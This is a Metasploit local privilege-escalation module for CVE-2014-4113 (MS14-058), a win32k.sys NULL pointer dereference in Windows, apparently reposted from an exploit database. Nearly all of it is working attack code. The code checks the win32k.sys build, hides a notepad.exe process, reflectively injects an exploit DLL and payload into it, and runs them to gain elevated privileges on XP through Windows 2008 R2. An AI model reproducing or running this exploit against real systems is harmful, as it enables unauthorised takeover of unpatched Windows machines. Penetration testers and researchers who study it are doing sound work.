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# Windows TrackPopupMenu Win32k NULL Pointer Dereference

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'msf/core/post/windows/reflective_dll_injection'
require 'rex'

class Metasploit3 < Msf::Exploit::Local
Rank = NormalRanking

include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
include Msf::Post::Windows::FileInfo
include Msf::Post::Windows::ReflectiveDLLInjection

def initialize(info={})
super(update_info(info, {
'Name' => 'Windows TrackPopupMenu Win32k NULL Pointer Dereference',
'Description' => %q{
This module exploits a NULL Pointer Dereference in win32k.sys, the vulnerability
can be triggered through the use of TrackPopupMenu. Under special conditions, the
NULL pointer dereference can be abused on xxxSendMessageTimeout to achieve arbitrary
code execution. This module has been tested successfully on Windows XP SP3, Windows
2003 SP2, Windows 7 SP1 and Windows 2008 32bits. Also on Windows 7 SP1 and Windows
2008 R2 SP1 64 bits.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # vulnerability discovery and exploit in the wild
'juan vazquez', # msf module (x86 target)
'Spencer McIntyre' # msf module (x64 target)
],
'Arch' => [ ARCH_X86, ARCH_X86_64 ],
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Targets' =>
[
# Tested on (32 bits):
# * Windows XP SP3
# * Windows 2003 SP2
# * Windows 7 SP1
# * Windows 2008
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
# Tested on (64 bits):
# * Windows 7 SP1
# * Windows 2008 R2 SP1
[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
],
'Payload' =>
{
'Space' => 4096,
'DisableNops' => true
},
'References' =>
[
['CVE', '2014-4113'],
['OSVDB', '113167'],
['BID', '70364'],
['MSB', 'MS14-058'],
['URL',
'http://blog.trendmicro.com/trendlabs-security-intelligence/an-analysis-of-a-windows-kernel-mode-vulnerability-cve-2014-
4113/']
],
'DisclosureDate' => 'Oct 14 2014',
'DefaultTarget' => 0
}))
end

def check
os = sysinfo["OS"]

if os !~ /windows/i
return Exploit::CheckCode::Unknown
end

if sysinfo["Architecture"] =~ /(wow|x)64/i
arch = ARCH_X86_64
elsif sysinfo["Architecture"] =~ /x86/i
arch = ARCH_X86
end

file_path = expand_path("%windir%") << "\\system32\\win32k.sys"
major, minor, build, revision, branch = file_version(file_path)
vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}")

# Neither target suports Windows 8 or 8.1
return Exploit::CheckCode::Safe if build == 9200
return Exploit::CheckCode::Safe if build == 9600

if arch == ARCH_X86
return Exploit::CheckCode::Detected if [2600, 3790, 7600, 7601].include?(build)
else
return Exploit::CheckCode::Detected if build == 7601
end

return Exploit::CheckCode::Unknown
end

def exploit
if is_system?
fail_with(Exploit::Failure::None, 'Session is already elevated')
end

if check == Exploit::CheckCode::Safe
fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system.")
end

if sysinfo["Architecture"] =~ /wow64/i
fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
elsif sysinfo["Architecture"] =~ /x64/ && target.arch.first == ARCH_X86
fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')
elsif sysinfo["Architecture"] =~ /x86/ && target.arch.first == ARCH_X86_64
fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64')
end

print_status('Launching notepad to host the exploit...')
notepad_process = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true})
begin
process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS)
print_good("Process #{process.pid} launched.")
rescue Rex::Post::Meterpreter::RequestError
# Reader Sandbox won't allow to create a new process:
# stdapi_sys_process_execute: Operation failed: Access is denied.
print_status('Operation failed. Trying to elevate the current process...')
process = client.sys.process.open
end

print_status("Reflectively injecting the exploit DLL into #{process.pid}...")
if target.arch.first == ARCH_X86
dll_file_name = 'cve-2014-4113.x86.dll'
else
dll_file_name = 'cve-2014-4113.x64.dll'
end

library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-4113', dll_file_name)
library_path = ::File.expand_path(library_path)

print_status("Injecting exploit into #{process.pid}...")
exploit_mem, offset = inject_dll_into_process(process, library_path)

print_status("Exploit injected. Injecting payload into #{process.pid}...")
payload_mem = inject_into_process(process, payload.encoded)

# invoke the exploit, passing in the address of the payload that
# we want invoked on successful exploitation.
print_status('Payload injected. Executing exploit...')
process.thread.create(exploit_mem + offset, payload_mem)

print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
end

end

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# Iranian Exploit DataBase = http://IeDb.Ir [2014-10-31]

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